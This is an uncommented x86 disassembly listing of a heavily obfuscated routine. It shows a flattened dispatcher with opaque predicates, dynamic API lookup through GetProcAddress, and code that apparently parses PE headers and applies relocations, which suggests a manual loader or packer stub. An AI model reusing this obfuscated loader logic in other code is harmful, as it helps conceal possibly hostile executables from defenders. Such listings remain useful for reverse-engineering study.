cmp eax, 0x193cf0a6
je 0x40859d
cmp eax, 0x196e6df6
je 0x408680
cmp eax, 0x1b47d457
jne 0x402340
mov eax, dword [ebp - 0x98]
mov ecx, dword [0x477984]
mov edi, 0xaf83d927
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
not esi
mov ecx, eax
and ecx, 0xc9f0015a
mov edx, esi
and edx, 0x360ffea4
and esi, 0xb814f0a3
or edx, ecx
mov ecx, eax
or ecx, 0xc9f0015a
and eax, 0x47eb0f5c
and ecx, 0xc9f0015b
or eax, esi
xor ecx, edx
mov edx, ecx
not edx
mov esi, ecx
and esi, 0x7e7d831c
and edx, 0x81827ce3
or edx, esi
mov esi, eax
xor esi, 0x1820c40
xor eax, 0xb814f0a3
or ecx, eax
and eax, 0x7e7d831c
and esi, 0x81827ce3
or esi, eax
not ecx
xor esi, edx
or ecx, esi
mov esi, 0xcda77f72
xor ecx, 0xffffffff
sete al
setne cl
cmp dword [0x477980], 0xa
setl dl
setge ah
xor dl, al
or ah, cl
xor dl, 1
mov al, ah
or al, dl
xor dl, ah
mov ecx, eax
xor cl, dl
mov ecx, 0xaf83d927
cmovne ecx, esi
test dl, dl
mov edx, ecx
cmovne edx, edi
test al, al
jmp 0x40c7c9
cmp eax, 0x98182312
jle 0x404a63
cmp eax, 0x9aa1c360
jle 0x4059bc
cmp eax, 0x9aa1c361
je 0x40868a
cmp eax, 0x9b280b2f
je 0x4087f8
cmp eax, 0x9bf9656f
jne 0x402340
mov eax, dword [0x477984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
not eax
or edx, 0xbedba99f
mov edi, eax
mov esi, edx
and esi, 0x5aa11d17
and edi, 0x1044260
and eax, 0x6b54004a
or edi, esi
mov esi, ecx
xor esi, 0x41245660
and esi, ecx
and ecx, 0x94abffb5
mov ebx, esi
not ebx
and esi, 0xa55ee2e8
or eax, ecx
or edx, ebx
and ebx, 0x5aa11d17
or esi, ebx
not edx
xor esi, edi
or edx, esi
not esi
and esi, 0xbedba99e
and edx, 0x41245661
or edx, esi
mov esi, edx
not esi
and edx, 0x6b54004a
mov edi, esi
and edi, 0x94abffb5
or edx, edi
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0xcf85d179
sete al
setne dl
cmp dword [0x477980], 0xa
setl ch
setge ah
mov dh, ch
or al, ah
xor dh, dl
or dl, ch
mov cl, dh
xor cl, ah
mov ah, al
or al, dl
and cl, dh
xor ah, dl
xor al, 1
or al, ah
xor cl, 1
xor al, 1
mov edx, ecx
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test al, 1
mov eax, 0x81fec4d3
cmovne eax, esi
test dl, 1
mov edx, 0x81fec4d3
jmp 0x403a85
cmp eax, 0x5be09b7b
jle 0x404a9a
cmp eax, 0x60b5e192
jle 0x405ad4
cmp eax, 0x60b5e193
je 0x408802
cmp eax, 0x61ac0063
je 0x408955
cmp eax, 0x62cc4abe
jne 0x402340
mov eax, dword [0x477984]
lea esi, [eax + 1]
imul esi, eax
mov ecx, esi
not ecx
mov eax, esi
or eax, 1
and esi, 0xfffffffe
mov edx, ecx
and edx, 1
and ecx, 0x5adfa04
or edx, esi
mov esi, eax
and esi, 0xfa5205fa
or ecx, esi
mov esi, edx
not esi
and edx, 0x5adfa05
or eax, esi
and esi, 0xfa5205fa
or edx, esi
not eax
mov esi, 0x873e900b
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x7c559bcf
and ecx, 0x83aa6430
or eax, ecx
mov ecx, eax
xor ecx, 0x34018386
xor eax, 0x82aa6000
and eax, 0xcafe7849
and ecx, 0x350187b6
or ecx, eax
xor ecx, 0xcafe7849
sete ah
setne dl
cmp dword [0x477980], 0xa
setl ch
setge al
mov cl, ch
xor cl, ah
and ah, cl
and cl, ch
mov ch, ah
xor ah, cl
xor cl, 1
xor ch, 1
or cl, ch
xor cl, 1
or cl, ah
mov ah, dl
inc ah
mov ch, cl
xor ah, al
xor ch, 1
and ah, al
xor al, dl
or al, ah
mov edx, eax
xor dl, 1
and dl, ch
or ch, al
and al, cl
or al, dl
mov cl, ch
mov edx, 0x5e832f00
xor cl, al
test al, al
mov eax, 0x5e832f00
cmovne eax, esi
test ch, 1
cmovne eax, edx
test cl, 1
cmove eax, esi
jmp 0x402340
cmp eax, 0xd8b7d8e0
jle 0x404b40
cmp eax, 0xd9bb7301
jle 0x405af4
cmp eax, 0xd9bb7302
je 0x40896e
cmp eax, 0xdba64b27
je 0x408984
cmp eax, 0xdc71e584
jne 0x402340
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x58]
add eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x3c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov dword [eax], 0
mov eax, 0x292a1382
jmp 0x402340
cmp eax, 0x3407a839
jle 0x404b6b
cmp eax, 0x396968e2
jle 0x405c0b
cmp eax, 0x396968e3
je 0x408a07
cmp eax, 0x3b8b168c
je 0x408b51
cmp eax, 0x3f581bca
jne 0x402340
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x114], eax
mov eax, 0x8648241e
jmp 0x402340
cmp eax, 0xbb0d5733
jle 0x404bb2
cmp eax, 0xbb3d245d
jle 0x405c2b
cmp eax, 0xbb3d245e
je 0x408c40
cmp eax, 0xbb611324
je 0x409497
cmp eax, 0xbc7c53f9
jne 0x402340
mov eax, dword [ebp - 0xcc]
mov ecx, 0xbdc2c0de
cmp eax, 0xc
mov eax, 0xcbadc01b
cmovl eax, ecx
jmp 0x402340
cmp eax, 0x78d97610
jle 0x404bec
cmp eax, 0x7cdc66ea
jle 0x405c5f
cmp eax, 0x7cdc66eb
je 0x409568
cmp eax, 0x7def3566
je 0x409581
cmp eax, 0x7f2657df
jne 0x402340
mov eax, 0x1d8f4db9
jmp 0x402340
cmp eax, 0xfef0fa83
jle 0x404c17
cmp eax, 0xffadae3c
jle 0x405c7f
cmp eax, 0xffadae3d
je 0x4096bc
cmp eax, 0x3e5faf
je 0x4096c6
cmp eax, 0x155e615
jne 0x402340
cmp byte [ebp - 0x8e], 0
mov eax, 0x4811d180
mov ecx, 0x8cad8e16
cmovne eax, ecx
jmp 0x402340
cmp eax, 0x6341c3b
jg 0x404c64
cmp eax, 0x5fbeb08
jg 0x405c9f
cmp eax, 0x246c9ce
je 0x4096d9
cmp eax, 0x415c18c
jne 0x40cd6a
mov eax, dword [0x477984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov esi, ecx
not eax
or esi, 1
and ecx, 0x9ebb2bbf
mov edx, eax
mov edi, eax
or edx, 0xce0ac598
and esi, 0xce0ac599
and edi, 0x31f53a66
and eax, 0x6144d440
or edi, esi
and edx, 0xce0ac599
or eax, ecx
xor edx, edi
mov esi, edx
not esi
and edx, 0x6144d440
mov edi, esi
and edi, 0x9ebb2bbf
or edx, edi
xor eax, edx
not eax
or eax, esi
mov esi, 0x773f0851
xor eax, 0xffffffff
sete cl
setne ah
cmp dword [0x477980], 0xa
setge al
mov ch, al
xor ch, ah
or ah, al
or al, cl
mov dl, ah
and ch, cl
xor al, 1
xor dl, 1
or al, ch
mov ecx, edx
and cl, ah
xor cl, 1
mov ch, cl
or cl, ah
xor ch, ah
xor cl, 1
mov ah, dl
or cl, ch
xor ah, al
xor cl, al
or al, dl
xor al, 1
or al, ah
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xe0636ffb
cmovne edx, esi
test al, 1
mov eax, 0xe0636ffb
jmp 0x405774
cmp eax, 0x80e15c72
jg 0x404d6b
cmp eax, 0x8087abcd
jg 0x405cca
cmp eax, 0x805d3060
je 0x4098a7
cmp eax, 0x8073aa28
jne 0x402340
mov eax, dword [ebp - 0x12c]
add eax, dword [ebp - 0x130]
mov ecx, dword [ebp - 0x2c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov dword [eax], 0
mov eax, 0x7def3566
jmp 0x402340
cmp eax, 0x437feff1
jg 0x404da2
cmp eax, 0x4130a1fb
jg 0x405ced
cmp eax, 0x3f8598a0
je 0x4098b1
cmp eax, 0x3ff34ded
jne 0x402340
mov eax, 0x4b02e110
jmp 0x402340
cmp eax, 0xbe274564
jg 0x404ddb
cmp eax, 0xbd771d61
jg 0x405e31
cmp eax, 0xbcb3be83
je 0x409d75
cmp eax, 0xbcbc9d22
jne 0x402340
mov eax, dword [ebp - 0xb0]
mov eax, 0x9aa1c361
jmp 0x402340
cmp eax, 0x1ca8f398
jg 0x404f18
cmp eax, 0x1bdaf48e
jg 0x405e60
cmp eax, 0x1b5d7714
je 0x409f58
cmp eax, 0x1b64273c
jne 0x402340
mov eax, dword [ebp - 0xa0]
vxorps xmm0, xmm0, xmm0
vmovups xmmword [eax], xmm0
vxorps xmm0, xmm0, xmm0
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x7c]
vmovups ymmword [eax + 0x20], ymm0
vmovups ymmword [eax], ymm0
mov dword [eax + 0x40], 0
mov eax, dword [ebp - 0x7c]
mov dword [eax], 0x44
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x14]
mov eax, 0xf39f6fdb
jmp 0x402340
cmp eax, 0xa62d4ea6
jg 0x404f5a
cmp eax, 0x9ffca101
jg 0x405e90
cmp eax, 0x9cb92edf
je 0x409f6d
cmp eax, 0x9f8e6471
jne 0x402340
mov eax, dword [ebp - 0xac]
mov ecx, dword [ebp - 0x144]
cmp ecx, dword [eax]
mov eax, 0x23704e5a
setl byte [ebp - 0x8c]
jmp 0x402340
cmp eax, 0x64847afa
jg 0x406088
cmp eax, 0x63160ff1
je 0x409f77
cmp eax, 0x6325aa64
jne 0x402340
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
movzx ecx, word [ebp - 0xd2]
mov word [eax], cx
mov eax, 0x705eb76a
jmp 0x402340
cmp eax, 0xdf6f47dc
jg 0x4060a8
cmp eax, 0xdd4302d6
je 0x409fce
cmp eax, 0xdea60c4a
jne 0x402340
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
movzx eax, word [eax + 6]
mov word [ebp - 0xce], ax
mov eax, 0xb7f916eb
jmp 0x402340
cmp eax, 0x10de3400
jg 0x4060c8
cmp eax, 0xf70745c
je 0x409fe1
cmp eax, 0x10cb5c48
jne 0x402340
mov eax, 0x9bf9656f
jmp 0x402340
cmp eax, 0x8f1acce9
jg 0x4060e8
cmp eax, 0x8cad8e16
je 0x40a0ae
cmp eax, 0x8d557bef
jne 0x402340
mov eax, 0x9356ad1e
jmp 0x402340
cmp eax, 0x53af7410
jg 0x406115
cmp eax, 0x53049891
je 0x40a0c3
cmp eax, 0x53385ac4
jne 0x402340
mov ecx, dword [0x477984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xd78f2c2
mov esi, edx
and esi, 0xf2870d3c
and edx, 0x52d6c1aa
or ecx, esi
mov edi, ecx
xor edi, 0xc107282
xor ecx, 0xf2870d3d
mov esi, ecx
and esi, 0xe1e8815d
and edi, 0x1e177ea2
or edi, esi
mov esi, eax
xor esi, 0xfffffffe
and esi, eax
and eax, 0xad293e55
mov ebx, esi
not ebx
and esi, 0x1e177ea2
or eax, edx
or ecx, ebx
and ebx, 0xe1e8815d
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov edx, ecx
not edx
and ecx, 0xe55b463b
mov esi, edx
and esi, 0x1aa4b9c4
or ecx, esi
mov esi, eax
xor esi, 0xa5090611
xor eax, 0x12848180
and eax, 0x1aa4b9c4
and esi, 0xe55b463b
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0x713157f
setne dl
cmp dword [0x477980], 0xa
setl ah
setge al
mov ch, ah
xor ch, dl
mov cl, ch
xor cl, al
xor al, dl
or dl, ah
and al, ah
mov ah, dl
and cl, ch
xor al, 1
mov ch, cl
xor ah, al
or al, dl
xor al, 1
or al, ah
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor dl, 1
xor ch, dl
or dl, cl
xor dl, 1
or dl, ch
mov ch, al
or al, cl
xor ch, 1
xor al, 1
xor dl, ch
xor ch, ah
or al, ch
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xa62d4ea7
cmovne eax, esi
test dl, 1
mov edx, 0xa62d4ea7
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402340
cmp eax, 0xcbadc01a
jg 0x40615f
cmp eax, 0xcb6d3f05
je 0x40a0cd
cmp eax, 0xcb77abaf
jne 0x402340
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x110]
mov dword [eax], ecx
mov eax, dword [ebp - 0x64]
cmp dword [eax], 0
mov eax, dword [0x477984]
lea ecx, [eax + 1]
setne byte [ebp - 0x8d]
imul ecx, eax
mov eax, ecx
mov edx, ecx
not eax
or edx, 1
mov edi, eax
mov esi, edx
and esi, 0x6e707fca
and edi, 0x918f8034
and eax, 0x1a1bf1d4
or edi, esi
mov esi, ecx
xor esi, 0xfffffffe
and esi, ecx
and ecx, 0xe5e40e2b
mov ebx, esi
not ebx
and esi, 0x918f8035
or eax, ecx
or edx, ebx
and ebx, 0x6e707fca
or esi, ebx
not edx
xor esi, edi
or edx, esi
mov esi, edx
not esi
and edx, 0x1a1bf1d4
mov edi, esi
and edi, 0xe5e40e2b
or edx, edi
xor eax, edx
not eax
or eax, esi
mov esi, 0x445afe2e
cmp eax, 0xffffffff
setne dl
cmp dword [0x477980], 0xa
setl ah
setge al
mov cl, ah
or ah, dl
xor cl, dl
not cl
and cl, dl
xor cl, 1
mov ch, cl
or cl, ah
xor ch, ah
mov ah, al
or al, dl
xor cl, 1
xor ah, dl
xor al, 1
or cl, ch
or al, ah
mov edx, ecx
xor al, 1
or al, ah
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x7cdc66eb
cmovne eax, esi
test dl, 1
mov edx, 0x7cdc66eb
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402340
cmp eax, 0x292ef075
jg 0x40617f
cmp eax, 0x27ef68cd
je 0x40a0d7
cmp eax, 0x292a1382
jne 0x402340
mov eax, dword [ebp - 0x58]
add eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x3c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov dword [eax], 0
mov eax, dword [0x477984]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0xe962455b
and edx, 0x169dbaa4
mov esi, ecx
not esi
and ecx, 0xe22704e5
or eax, edx
mov edx, eax
xor edx, 0xe0220441
xor eax, 0x169dbaa4
mov edi, eax
or eax, esi
and esi, 0x1dd8fb1a
and edi, 0x1dd8fb1a
and edx, 0xe22704e5
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ebx, eax
not ebx
mov edx, eax
and edx, 0x7aa20401
and eax, 0x31048a41
mov ecx, ebx
and ecx, 0x855dfbfe
or ebx, 0x4e9a7190
or edx, ecx
mov ecx, edx
mov esi, edx
xor ecx, 0x7aa20401
xor esi, 0xcbc78a6e
xor edx, 0x119d1fe
and esi, ecx
and edx, 0x299bd1fe
mov edi, esi
not edi
and esi, 0x3384cb41
mov dword [ebp - 0x78], edi
and dword [ebp - 0x78], 0xcc7b34be
or edi, ebx
and ebx, 0xcc7b34be
add esi, dword [ebp - 0x78]
or eax, ebx
not edi
xor eax, esi
mov esi, 0xdc71e584
or edi, eax
mov eax, edi
not eax
and edi, 0x4e9a7191
and eax, 0xb1658e6e
or edi, eax
mov eax, ecx
and eax, 0xd6642e01
and ecx, 1
or eax, edx
xor eax, 0x299bd1ff
or ecx, eax
not ecx
or ecx, edi
mov eax, ecx
not eax
and ecx, 0x300628e8
and eax, 0xcff9d717
or eax, ecx
mov ecx, eax
xor ecx, 0x200020e0
xor eax, 0x2d81703
and ecx, 0xed21e0f4
and eax, 0x12de1f0b
or eax, ecx
mov ecx, eax
xor ecx, 0xa4014094
xor eax, 0x701
and eax, 0x4920a761
and ecx, 0xb6df589e
or ecx, eax
xor ecx, 0xb6df589e
sete dl
setne cl
cmp dword [0x477980], 0xa
setge al
mov ah, al
xor ah, cl
or cl, al
or al, dl
and ah, dl
xor al, 1
mov edx, ecx
or al, ah
xor al, 1
xor dl, al
or al, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x10cb5c48
cmovne eax, esi
test dl, dl
mov edx, 0x10cb5c48
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402340
cmp eax, 0xb0c73f84
jg 0x4062ac
cmp eax, 0xaf83d927
je 0x40a0ec
cmp eax, 0xb07b8456
jne 0x402340
mov eax, dword [ebp - 0x94]
push dword [ebp - 0x184]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x64]
mov dword [ecx], eax
mov eax, 0x8a038b15
jmp 0x402340
cmp eax, 0x72721dd3
jg 0x4062db
cmp eax, 0x6f4ad0c0
je 0x40a25a
cmp eax, 0x705eb76a
jne 0x402340
mov ecx, dword [0x477984]
mov edi, 0x77d1f75c
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
mov edx, eax
or edx, 1
not ecx
and eax, 0xedfa480
mov esi, ecx
and edx, 0x6eedad09
and esi, 0x911252f6
or esi, edx
mov edx, ecx
or edx, 0x6eedad08
and ecx, 0xf1205b7f
and edx, 0x6eedad09
or eax, ecx
xor edx, esi
xor eax, 0xedfa480
mov esi, 0x246c9ce
not edx
or eax, edx
mov ecx, eax
not ecx
and eax, 0xa7d14d88
and ecx, 0x582eb277
or eax, ecx
xor eax, 0xa7d14d88
sete ah
setne dl
cmp dword [0x477980], 0xa
mov dh, ah
setl ch
setge al
mov cl, ch
or dh, al
or cl, dl
and dl, ch
mov ch, al
xor ch, ah
mov ebx, ecx
or cl, dh
and ch, al
and al, ah
xor bl, dh
xor cl, 1
or al, dl
or cl, bl
or al, ch
mov edx, ecx
mov ah, al
xor dl, 1
xor ah, 1
and ah, dl
or dl, al
and al, cl
or al, ah
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x77d1f75c
jmp 0x4045f7
cmp eax, 0xefe554ae
jg 0x4063de
cmp eax, 0xed1c8589
je 0x40a26d
cmp eax, 0xee6cfc87
jne 0x402340
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0xf4]
mov edi, 0x912cfb11
mov dword [eax], ecx
mov ecx, dword [0x477984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0x7a7ea0c
mov ecx, eax
xor ecx, 0x1361a3f6
and edx, 0xf85815f3
andn ecx, eax, ecx
or edx, esi
mov eax, edx
xor eax, 0xf85815f3
xor edx, 0x620c80c
mov esi, eax
and esi, 0xec9e5c09
and edx, 0xb638cd2d
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xf16659b4
and esi, 0xe99a64b
or ecx, esi
mov esi, eax
and esi, 0x49c732d2
and eax, 1
or esi, edx
xor ecx, 0x1df805bc
mov edx, esi
xor edx, 0xb6000d08
xor esi, 0x1c722c0
or eax, edx
and esi, 0x1ffe2e4
and eax, 0xfe001d1b
or eax, esi
mov esi, 0x605f342
xor eax, 0xfe001d1b
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xf0a99319
and ecx, 0xf566ce6
or ecx, eax
mov eax, ecx
xor eax, 0x1402440
xor ecx, 0x80210200
and ecx, 0x8e374aa6
and eax, 0x71c8b559
or eax, ecx
cmp eax, 0x71c8b559
sete ah
cmp dword [0x477980], 0xa
setge al
mov edx, eax
xor dl, ah
or ah, al
mov ecx, edx
xor ah, 1
not cl
and cl, al
and al, dl
xor al, 1
or cl, ah
mov ah, al
or al, dl
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
xor dl, 1
mov ah, al
not ah
and ah, dl
or dl, al
and al, cl
or al, ah
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x912cfb11
cmovne ecx, esi
test al, 1
mov eax, ecx
cmovne eax, edi
jmp 0x4087ed
cmp eax, 0xa245374
jg 0x40649a
cmp eax, 0x8a33d5b
je 0x40a35b
cmp eax, 0x92cfb0a
jne 0x402340
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov dword [ebp - 0x104], eax
mov eax, dword [0x477984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x84045a1
mov esi, eax
and esi, 0x4a80052
and eax, 0xd78b419b
or edx, esi
mov edi, edx
xor edi, 0x8000101
xor edx, 0xf7bfba5e
mov esi, edx
and esi, 0xf752ceee
and edi, 0x8a80111
or edi, esi
mov esi, ecx
xor esi, 0xce845f3
and esi, ecx
and ecx, 0x2874be64
mov ebx, esi
not ebx
and esi, 0x8ad3111
or eax, ecx
or edx, ebx
and ebx, 0xf752ceee
or esi, ebx
not edx
xor esi, edi
or edx, esi
mov esi, edx
not esi
and edx, 0xce845f2
and esi, 0xf317ba0d
or edx, esi
mov esi, edx
not esi
and edx, 0xd78b419b
mov edi, esi
and edi, 0x2874be64
or edx, edi
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0xc8aac471
sete dl
setne ah
cmp dword [0x477980], 0xa
setl cl
setge al
mov ch, cl
xor dl, cl
xor cl, ah
not cl
or ch, ah
xor dl, 1
and cl, ah
xor cl, 1
mov dh, cl
or cl, ch
xor dh, ch
mov ch, al
or al, ah
xor cl, 1
xor ch, ah
xor al, 1
mov ah, dl
or cl, dh
or al, ch
xor cl, 1
xor ah, al
or al, dl
xor al, 1
or al, ah
mov ah, al
xor ah, 1
mov dl, ah
and dl, al
xor ah, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, ah
xor dl, 1
mov eax, edx
xor al, cl
or cl, dl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0xb6e5c82a
cmovne ecx, esi
test al, 1
mov eax, 0xb6e5c82a
cmove ecx, esi
test dl, 1
jmp 0x40cb4d
cmp eax, 0x85f4c392
jg 0x4064d3
cmp eax, 0x8549ca23
je 0x40a371
cmp eax, 0x858fb290
jne 0x402340
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x3c]
mov ecx, dword [ecx]
add eax, dword [ecx]
mov ecx, dword [ebp - 0xa8]
mov dword [ecx], eax
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov eax, dword [eax + 4]
add eax, 0xfffffff8
shr eax, 1
mov dword [ebp - 0x100], eax
mov eax, 0x84c67068
jmp 0x402340
cmp eax, 0x4b5fe6ed
jg 0x4065ea
cmp eax, 0x4811d180
je 0x40a37b
cmp eax, 0x4b02e110
jne 0x402340
mov eax, dword [ebp - 0x154]
movzx eax, word [eax]
mov edx, eax
mov ecx, eax
not edx
or ecx, 0xfff
mov edi, edx
mov esi, ecx
and esi, 0x42ca
and edi, 0xffffb000
and edx, 0x10da
or edi, esi
mov esi, eax
xor esi, 0xfffff000
and esi, eax
and eax, 0xffffef25
mov ebx, esi
not ebx
and esi, 0xffffbd35
or eax, edx
or ecx, ebx
and ebx, 0x42ca
or esi, ebx
not ecx
xor esi, edi
mov edi, eax
xor edi, 0x2420
xor eax, 0x1080
or ecx, esi
and eax, 0xffffdb85
and edi, 0x247a
mov edx, ecx
not edx
and ecx, 0x247a
or edi, eax
mov esi, edx
and esi, 0xffffdb85
or ecx, esi
xor edi, ecx
xor edx, edi
and edx, edi
movzx eax, dx
add eax, dword [ebp - 0x150]
mov dword [ebp - 0x158], eax
mov eax, 0x1c8b66fc
jmp 0x402340
cmp eax, 0xc4342a0c
jg 0x40662f
cmp eax, 0xc30d3c1b
je 0x40a38d
cmp eax, 0xc39ea0cc
jne 0x402340
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x178], eax
mov eax, dword [ebp - 0x84]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x40]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*4 + 0x10]
mov dword [ebp - 0x17c], eax
mov eax, 0xf6bee556
jmp 0x402340
cmp eax, 0x1f74e2c4
jg 0x406655
cmp eax, 0x1e294fbe
je 0x40a3a0
cmp eax, 0x1ea76fc2
jne 0x402340
mov eax, 0x939e1fd6
jmp 0x402340
cmp eax, 0xaa9a1cae
jg 0x406684
cmp eax, 0xa97e57c0
je 0x40a3da
cmp eax, 0xa9a0bac7
jne 0x402340
cmp dword [ebp - 0x170], 0
mov eax, 0xba917f60
mov ecx, 0x6f4ad0c0
cmove eax, ecx
jmp 0x402340
cmp eax, 0x6bd01533
jg 0x4066a4
cmp eax, 0x6b03708d
je 0x40a3e4
cmp eax, 0x6bc5955d
jne 0x402340
mov ecx, dword [0x477984]
mov edi, 0xd0459316
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x300da130
and eax, 1
mov esi, ecx
and esi, 0xcff25ece
or edx, esi
mov esi, edx
xor esi, 0x30088030
xor edx, 0x1025244
or eax, esi
and edx, 0x1077344
mov esi, 0xffadae3d
and eax, 0xfef88cbb
or eax, edx
xor eax, 0xfef88cbb
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x57a0d33d
and ecx, 0xa85f2cc2
or eax, ecx
xor eax, 0x57a0d33d
setne al
sete cl
cmp dword [0x477980], 0xa
setl ah
setge dl
mov ch, ah
xor ch, cl
or cl, ah
and ah, al
inc al
xor cl, 1
and al, dl
or al, ah
or cl, ch
xor al, 1
mov edx, ecx
or dl, al
xor al, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0xd0459316
cmovne eax, esi
test dl, dl
cmovne eax, edi
test cl, cl
cmove eax, esi
jmp 0x402340
cmp eax, 0xe78a1989
jg 0x406988
cmp eax, 0xe2b820f7
je 0x40a3f9
cmp eax, 0xe57661c1
jne 0x402340
mov eax, 0x6922f501
jmp 0x402340
cmp eax, 0x183d9a68
jg 0x4069a8
cmp eax, 0x16740ca7
je 0x40a403
cmp eax, 0x17481e59
jne 0x402340
mov eax, 0xa8016451
jmp 0x402340
cmp eax, 0x942f423b
jg 0x4069d7
cmp eax, 0x939e1fd6
je 0x40a40d
cmp eax, 0x93c3d70c
jne 0x402340
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x188], eax
mov eax, 0x5968e33a
jmp 0x402340
cmp eax, 0x5ac8749b
jg 0x406a00
cmp eax, 0x5984c75b
je 0x40a4e5
cmp eax, 0x5a263391
jne 0x402340
mov ecx, dword [0x477984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 1
and edx, 0xfffffffe
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn esi, eax, edx
or ecx, esi
mov esi, 0x60b5e193
xor edx, ecx
test edx, ecx
sete cl
setne al
cmp dword [0x477980], 0xa
setl ah
setge dl
mov ch, ah
and cl, dl
and ch, al
inc al
and dl, al
or al, ah
or cl, ch
or dl, ch
xor al, 1
or al, dl
mov edx, ecx
mov ah, al
xor dl, al
and al, cl
and dl, cl
not ah
xor cl, 1
and cl, ah
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x16740ca7
cmovne ecx, esi
test al, al
mov eax, ecx
cmovne eax, esi
jmp 0x40b783
cmp eax, 0xd586e388
jg 0x406a29
cmp eax, 0xd2800225
je 0x40a6a7
cmp eax, 0xd38871db
jne 0x402340
mov eax, 0xb9d1881c
jmp 0x402340
cmp eax, 0x33821c9f
jg 0x406a49
cmp eax, 0x31857193
je 0x40a6b1
cmp eax, 0x31f1a0ff
jne 0x402340
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x28]
add eax, 8
mov dword [ecx], eax
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x80]
mov dword [eax], 0
mov eax, 0xabb76ba7
jmp 0x402340
cmp eax, 0xb9d1881b
jg 0x406c42
cmp eax, 0xb7f916eb
je 0x40a6f4
cmp eax, 0xb80030dd
jne 0x402340
mov eax, dword [ebp - 0x124]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x128], eax
mov eax, 0x8a33d5b
jmp 0x402340
cmp eax, 0x77d1f75b
jg 0x406c87
cmp eax, 0x77052d21
je 0x40a715
cmp eax, 0x773f0851
jne 0x402340
mov eax, 0x415c18c
jmp 0x402340
cmp eax, 0xfa22c825
jg 0x406cb8
cmp eax, 0xf66c10da
je 0x40a823
cmp eax, 0xf6bee556
jne 0x402340
mov eax, dword [ebp - 0x17c]
mov eax, dword [eax]
add eax, dword [ebp - 0x178]
mov ecx, dword [ebp - 0x98]
mov dword [ecx], eax
mov eax, dword [ebp - 0x50]
